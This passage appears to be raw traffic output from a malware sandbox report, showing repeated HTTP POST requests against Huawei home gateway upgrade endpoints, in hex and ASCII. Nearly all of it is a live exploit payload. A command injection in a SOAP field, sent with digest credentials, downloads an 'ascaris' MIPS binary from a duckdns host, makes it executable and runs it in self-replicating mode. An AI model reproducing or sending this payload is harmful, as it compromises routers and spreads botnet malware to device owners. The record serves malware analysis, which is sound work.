61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 